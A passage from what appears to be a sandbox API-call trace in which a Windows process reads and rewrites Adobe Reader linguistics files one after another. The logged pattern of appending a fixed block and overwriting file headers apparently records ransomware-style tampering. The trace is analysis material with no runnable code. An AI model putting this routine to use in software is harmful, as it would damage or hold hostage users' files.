out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0043.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut102.hsp", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut102.hsp", lpUsedDefaultChar=0x0) returned 10 [0043.158] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.160] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5b06a [0043.160] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.399] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5b06a [0043.399] WriteFile (in: hFile=0x1d4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.400] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0043.400] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0043.400] CloseHandle (hObject=0x1d4) returned 1 [0043.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.401] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.401] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x6800 [0043.401] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.401] ReleaseMutex (hMutex=0x128) returned 1 [0043.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin.hyp", lpUsedDefaultChar=0x0) returned 7 [0043.401] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.403] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5800 [0043.403] ReadFile (in: hFile=0x1d4, lpBuffer=0x3a4ec58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ec58*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.404] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x5800 [0043.404] WriteFile (in: hFile=0x1d4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.405] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0043.405] WriteFile (in: hFile=0x1d4, lpBuffer=0x3a4ec58*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4ec58*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.405] CloseHandle (hObject=0x1d4) returned 1 [0043.405] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.405] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.406] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x800 [0043.406] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.406] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.406] ReleaseMutex (hMutex=0x128) returned 1 [0043.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.hyp", lpUsedDefaultChar=0x0) returned 7 [0043.406] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x354f2bc*=0x800, lpOverlapped=0x0) returned 1 [0043.410] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0043.410] WriteFile (in: hFile=0x1d4, lpBuffer=0x3a4ec58*, nNumberOfBytesToWrite=0xd88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4ec58*, lpNumberOfBytesWritten=0x354f2d0*=0xd88, lpOverlapped=0x0) returned 1 [0043.410] CloseHandle (hObject=0x1d4) returned 1 [0043.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\heb134.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\heb134.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.411] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.411] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb47de [0043.411] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.411] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.411] ReleaseMutex (hMutex=0x128) returned 1 [0043.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heb134.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0043.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heb134.hsp", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="heb134.hsp", lpUsedDefaultChar=0x0) returned 10 [0043.411] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0043.413] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.417] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xb37de [0043.417] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.418] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xb37de [0043.419] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.419] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0043.419] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0043.419] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.419] CloseHandle (hObject=0x1d4) returned 1 [0043.420] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0043.420] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.420] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3ec [0043.420] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0043.420] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.420] ReleaseMutex (hMutex=0x128) returned 1 [0043.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0043.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="itl.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="itl.fca", lpUsedDefaultChar=0x0) returned 7 [0043.420] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da42e8, nNumberOfBytesToRead=0x3ec, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da42e8*, lpNumberOfBytesRead=0x354f2bc*=0x3ec, lpOverlapped=0x0) returned 1 [0044.088] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0044.088] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x974, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x354f2d0*=0x974, lpOverlapped=0x0) returned 1 [0044.088] CloseHandle (hObject=0x1d4) returned 1 [0044.089] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lit136.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lit136.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.089] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.089] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x73800 [0044.090] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.090] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.090] ReleaseMutex (hMutex=0x128) returned 1 [0044.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lit136.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lit136.lex", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lit136.lex", lpUsedDefaultChar=0x0) returned 10 [0044.090] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.098] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x72800 [0044.098] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.099] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x72800 [0044.100] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.100] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.100] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.100] CloseHandle (hObject=0x1d4) returned 1 [0044.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nyn16.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nyn16.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.102] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.102] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3bfc [0044.102] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.102] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.102] ReleaseMutex (hMutex=0x128) returned 1 [0044.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nyn16.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nyn16.clx", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nyn16.clx", lpUsedDefaultChar=0x0) returned 9 [0044.102] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.104] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2bfc [0044.104] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.104] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2bfc [0044.105] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.105] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.105] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.105] CloseHandle (hObject=0x1d4) returned 1 [0044.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rum.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rum.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.106] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.106] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4c00 [0044.106] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.106] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.106] ReleaseMutex (hMutex=0x128) returned 1 [0044.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rum.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0044.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rum.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rum.hyp", lpUsedDefaultChar=0x0) returned 7 [0044.106] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.108] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3c00 [0044.108] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.109] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3c00 [0044.109] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.109] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.109] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.110] CloseHandle (hObject=0x1d4) returned 1 [0044.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr105.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr105.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.110] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.110] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb9e2b [0044.110] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.110] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.110] ReleaseMutex (hMutex=0x128) returned 1 [0044.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr105.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr105.hsp", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sgr105.hsp", lpUsedDefaultChar=0x0) returned 10 